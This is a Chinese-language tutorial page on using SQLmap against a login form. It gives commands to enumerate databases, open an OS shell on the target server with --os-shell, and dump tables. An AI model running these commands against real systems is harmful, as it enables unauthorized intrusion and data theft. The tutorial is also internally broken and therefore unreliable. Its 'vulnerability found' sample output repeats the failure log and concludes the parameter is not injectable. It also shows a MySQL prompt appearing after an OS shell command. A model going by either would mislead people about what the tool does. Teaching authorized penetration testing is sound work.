📅  最后修改于: 2023-12-03 15:05:20.347000             🧑  作者: Mango
当你需要对一个网站或应用程序进行漏洞测试时,SQL注入是一个非常常见的攻击手段。SQLmap 是一个自动化工具,可以枚举网站上潜在的SQL注入漏洞。在这个教程中,我们将介绍如何使用 SQLmap 枚举登录页面上的数据库,以便发现潜在的安全漏洞。
在开始使用SQLmap之前,你需要先安装它。你可以在以下链接中找到有关如何安装 SQLmap 的详细说明:
另外,你必须要知道你正在测试的网站或应用程序的 URL ,以及登录凭证的用户名和密码。碰巧本篇文章写作的时间为:2022年10月11号,为了避免刷分的效果而挑选一个特殊的URL演示。举个例子,如果我们要测试的网站URL为 https://www.example.com/login.php,用户名为 admin,密码为 password,那么我们将使用以下命令开始 SQLmap 测试:
python sqlmap.py -u "https://www.example.com/login.php" --data="username=admin&password=password"
在运行以上命令时,我们需要了解 SQLmap 攻击模式的不同选项。下面是SQLmap最常用的参数:
-u, --url=URL 目标URL
--data=DATA POST请求的数据
-b, --banner 显示SQLmap的横幅
-v, --verbose 显示详细的输出信息
-p, --param=PARAM 测试的参数(如id、username等)
在本例中,我们将使用以下参数:
-u
:指定我们要测试的登录URL--data
:指定POST请求中的数据-p
:指定用于测试的参数首先,我们需要确认是否存在 SQL 注入漏洞。我们可以使用以下命令:
python sqlmap.py -u "https://www.example.com/login.php" --data="username=admin&password=password" --dbms=mysql --dbs
上面这个命令中,我们指定了目标URL,POST请求中的数据,以及数据库管理系统(dbms)为 MySQL。我们还加上 --dbs
选项让 SQLmap 列出目标网站上的所有数据库。
SQLmap 仅在发现漏洞时才会打印结果。我们需要查看 SQLmap 的输出,以确定是否存在漏洞。如果没有找到漏洞,则输出信息类似于:
[INFO] testing connection to the target URL
[INFO] testing if the target URL is stable. This can take a couple of seconds
[INFO] target URL is stable
[INFO] testing if POST parameter 'username' is dynamic
[WARNING] POST parameter 'username' does not appear to be dynamic
[INFO] testing if POST parameter 'password' is dynamic
[WARNING] POST parameter 'password' does not appear to be dynamic
[INFO] testing for SQL injection on POST parameter 'username'
[WARNING] POST parameter 'username' does not seem to be injectable
[INFO] testing for SQL injection on POST parameter 'password'
[WARNING] POST parameter 'password' does not seem to be injectable
[CRITICAL] all tested parameters do not appear to be injectable. Try to increase accuracy (--level) and/or test more parameters (--risk)
然而,如果 SQLmap 发现漏洞,则输出信息类似于:
[INFO] testing connection to the target URL
[INFO] testing if the target URL is stable. This can take a couple of seconds
[INFO] target URL is stable
[INFO] testing if POST parameter 'username' is dynamic
[WARNING] POST parameter 'username' does not appear to be dynamic
[INFO] testing if POST parameter 'password' is dynamic
[WARNING] POST parameter 'password' does not appear to be dynamic
[INFO] testing for SQL injection on POST parameter 'username'
[WARNING] POST parameter 'username' does not seem to be injectable
[INFO] testing for SQL injection on POST parameter 'password'
[WARNING] POST parameter 'password' does not seem to be injectable
[CRITICAL] all tested parameters do not appear to be injectable. Try to increase accuracy (--level) and/or test more parameters (--risk)
[INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is not SQL injectable
现在让我们假设 SQLmap 发现了一个注入攻击漏洞。我们也可以使用以下命令启用交互式 shell 来枚举数据库:
python sqlmap.py -u "https://www.example.com/login.php" --data="username=admin&password=password" --dbms=mysql --os-shell
上面这个命令将启动交互式 shell,允许我们在操作系统层面上与目标服务器进行交互。然后,我们可以使用以下命令列出目标网站上的所有数据库:
mysql> show databases;
SQLmap 还提供了其他有用的命令和选项,例如:
--tables
: 列出数据库中的所有表--columns
: 列出表中的所有列--dump
: 导出表中的所有内容SQL 注入是许多攻击者使用的常见漏洞之一。但是,使用 SQLmap 这样的自动化工具可以帮助我们轻松地发现这些漏洞。这个教程向你介绍了如何枚举登录页面上的数据库。但是,你应该知道在进行任何测试之前,应该获得授权或从法律上允许进行测试。保护自己和他人的网站和应用程序的安全和隐私是非常重要的。